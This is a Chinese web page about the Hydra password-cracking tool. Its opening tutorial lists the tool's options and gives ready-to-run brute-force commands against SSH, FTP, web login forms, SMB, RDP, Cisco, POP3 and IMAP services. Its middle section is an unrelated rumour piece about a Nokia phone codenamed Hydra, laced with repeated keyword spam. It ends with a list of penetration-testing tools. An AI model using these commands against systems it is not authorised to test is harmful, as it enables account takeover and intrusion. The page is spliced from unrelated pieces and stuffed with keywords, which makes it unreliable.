hydra 软件,hydra渗透工具

本文目录一览：

• 1、hydra的使用教程
• 2、hydra的介绍
• 3、渗透测试工具有哪些

hydra的使用教程

kali系统自带hydra，所以这里不再讲hydra的安装过程。

先列出hydra的参数：

-s PORT 可通过这个参数指定非默认端口。

-l LOGIN 指定破解的用户，对特定用户破解。

-L FILE 指定用户名字典。

-p PASS 小写，指定密码破解，少用，一般是采用密码字典。

-P FILE 大写，指定密码字典。

-e ns 可选选项，n：空密码试探，s：使用指定用户和密码试探。

-C FILE 使用冒号分割格式，例如“登录名:密码”来代替-L/-P参数。

-M FILE 指定目标列表文件一行一条。

-o FILE 指定结果输出文件。

-f 在使用-M参数以后，找到第一对登录名或者密码的时候中止破解。

-t TASKS 同时运行的线程数，默认为16。

-w TIME 设置最大超时的时间，单位秒，默认是30s。

-v / -V 显示详细过程。

server 目标ip

service 指定服务名，支持的服务和协议：telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等。

OPT 可选项

使用教程如下：

1.手动创建用户名字典和密码字典，这里只是为hydra渗透工具了演示，只加hydra渗透工具了几个用户名和弱口令。真正破解时，需要利用密码字典生成器生成强大的字典。

2.破解ssh：

# hydra -L username.txt -P password.txt -t 1 -vV -ens 192.168.60.117 ssh

其中192.168.60.117是想要破解的电脑IP

破解成功，直接显示结果。

其它实例：

1.破解ssh：

# hydra -l 用户名 -p 密码字典 -t 线程-vV -e ns ip ssh

# hydra -l 用户名 -p 密码字典 -t 线程-o save.log -vV ip ssh

2.

破解ftp：

# hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV

# hydra ip ftp -l 用户名 -P 密码字典-e ns -vV

3.get

方式提交，破解web登录：

# hydra -l 用户名 -p 密码字典 -t 线程-vV -e ns ip http-get /admin/

# hydra -l 用户名 -p 密码字典 -t 线程-vV -e ns -f ip http-get /admin/index.php

4.post

方式提交，破解web登录：

# hydra -l 用户名 -P 密码字典-s 80 ip http-post-form "/admin/login.php:username=^USER^password=^PASS^submit=login:sorry password"

# hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form "login.php:id=^USER^passwd=^PASS^:wrong username or password"

（参数说明：-t同时线程数3，-l用户名是admin，字典pass.txt，保存为out.txt，-f 当破解了一个密码就停止， 10.36.16.18目标ip，http-post-form表示破解是采用http的post方式提交的表单密码破解,title中的内容是表示错误猜解的返回信息提示。）

5.

破解https：

# hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https

6.

破解teamspeak：

# hydra -l 用户名 -P 密码字典 -s 端口号-vV ip teamspeak

7.

破解cisco：

# hydra -P pass.txt 10.36.16.18 cisco

# hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable

8.

破解smb：

# hydra -l administrator -P top100.txt 192.168.0.102 smb

9.

破解pop3：

# hydra -l muts -P pass.txt my.pop3.mail pop3

10.

破解rdp：

# hydra 192.168.0.102 rdp -l administrator -P top100.txt -V

11.

破解http-proxy：

# hydra -l admin -P pass.txt http-proxy://10.36.16.18

12.

破解imap：

# hydra -L user.txt -p secret 10.36.16.18 imap PLAIN

# hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN

此工具强大之处远多于以上测试，其密码能否破解关键在于强大的字典，对于社工型渗透来说，有时能够得到事半功倍的效果.

hydra的介绍

4英寸720p高清屏

虽然当前Windows Phone系统手机功能不俗hydra渗透工具，但相比其他系统hydra渗透工具的竞争对手来说hydra渗透工具，似乎在处理器等硬件配置方面还是不够给力。不过，随着这款代号为“Hydra”hydra渗透工具的诺基亚900的出现，或许未来Windows Phone系统阵营机型至少在硬件规格上将不会输给任何对手。比如该机将会配备4.0英寸AMOLED触控屏，不仅会融合CBD技术，而且所支持的分辨率也将升级至720p（1280×720像素），其所带来的显示效果和视觉冲击力自然是不言而喻。

不仅如此，诺基亚还会在该机上融合手势感应等功能。但其原理可能如诺基亚专利所描述的那样，通过超声波装置来感应用户在手机显示屏前所做的手势，并进行精确的识别，然后做出相应的指令反馈。

1.4GHZ单核处理器

如果最终硬件不变的话，诺基亚该机将会配置1.4GHz单核处理器，并且会配备专门的图形处理芯片，力求在3D性能及多媒体表现上达到出类拔萃的效果。此外，作为旗舰级机型的诺基亚900还会为手机装载1200万像素摄像头，支持自动对焦及1080p全高清视频录制等功能，也会配备前置摄像头来实现视频通话。

诺基亚900的其他功能还包括拥有32GB机身存储容量和支持存储卡扩展，拥有Wi-Fi无线上网、GPS导航、蓝牙3.0技术以及NFC近场通信等功能。更为神奇的是，该款手机还会如诺基亚X7那样设计四个扬声器，并且为了获得更理想的待机时间，还会配备1650毫安时电池。

定价500欧元

由于按照相关传闻的说法，诺基亚900将会在明年一季度发布，所以该机搭载的版本应该不会是Mango系统，而有可能是正在研发的Windows Phone Tango版本或是更为人期待的而有可能代号为“Apollo”的 Windows Phone 8系统。

据悉，诺基亚900的市场价格为500欧元，约合人民币4700元左右。不过，由于诸如720p高清触控屏和1.5GHz双核处理器等硬件配置过于强大，所以不少人还是对诺基亚900的真实性提出了质疑。但无论如何，诺基亚900将是一款在明年一季度才会发布的机型，并且Windows Phone也已经被高通公司列入了MSM8x60芯片支持的移动操作平台之一，所以在未来诺基亚手机家族中出现配备双核处理器的Windows Phone系统手机并不稀奇。

渗透测试工具有哪些

1、Kali Linux

不使用Kali Linux作为基本渗透测试操作系统hydra渗透工具，算不上真正hydra渗透工具的黑客。Kali Linux是基于Debian的Linux发行版，

设计用于数字取证操作系统。每一季度更新一次。由Offensive Security Ltd维护和资助。最先由Offensive Security的Mati

Aharoni和Devon Kearns通过重写BackTrack来完成，BackTrack是他们之前写的用于取证的Linux发行版 。

Kali Linux的前身是BackTrack

Linux，有进攻性安全部门的专业人士维护，它在各个方面都进行hydra渗透工具了优化，可以作为进攻性渗透测试工具使用。

2、Nmap

Nmap是发现企业网络中任何类型的弱点或漏洞的绝佳工具，它也是审计的很好工具。该工具的作用是获取原始数据包并确定哪些主机在网络的特定段上可用，正在使用什么操作系统，以及识别特定主机的数据包防火墙或过滤器的不同类型和版本正在使用。Nmap对渗透测试过程的任何阶段都很有用并且还是免费的。

3、Wireshark

Wireshark是一个无处不在的工具，可用于了解通过网络的流量。虽然通常用于深入了解日常TCP/IP连接问题，但Wireshark支持对数百种协议的分析，包括对其中许多协议的实时分析和解密支持。如果不熟悉渗透测试，Wireshark是一个必须学习的工具。

4、John the Ripper

John the

Ripper是一个很流行的密码破解工具，是渗透测试工具包中的一个很必要的补充。它可以用来确定数据库中的未知弱点，通过从传统字典中找到的复杂和流行的单词列表，获取文本字符样本，并用与正在生成的密码相同的格式，对其进行加密来达到目的。

5、Hashcat

Hashcat自称世界上最快和最先进的密码恢复应用程序，可能并不是谦虚，懂Hashcat的人肯定知道它的价值。Hashcat让John the

Ripper一筹莫展。它是破解哈希的首选渗透测试工具，Hashcat支持多种密码猜测暴力攻击，包括字典和掩码攻击。

6、Hydra

Hydra在需要在线破解密码时发挥作用，例如SSH或FTP登录、IMAP、IRC、RDP等等。将Hydra指向hydra渗透工具你想破解的服务，如果你愿意，可以给它传递一个单词列表，然后扣动扳机。像Hydra这样的工具提醒人们为什么限制密码尝试和在几次登录尝试后断开用户连接可以成功地防御攻击者。

7、Sqlmap

Sqlmap，是非常有效的开源的SQL注入工具，并且自动化检测和利用SQL注入缺陷并接管数据库服务器的过程，就像它的网站所说的那样。Sqlmap支持所有常用目标，包括MySQL、oracle、PostgreSQL、Microsoft

SQL、server等。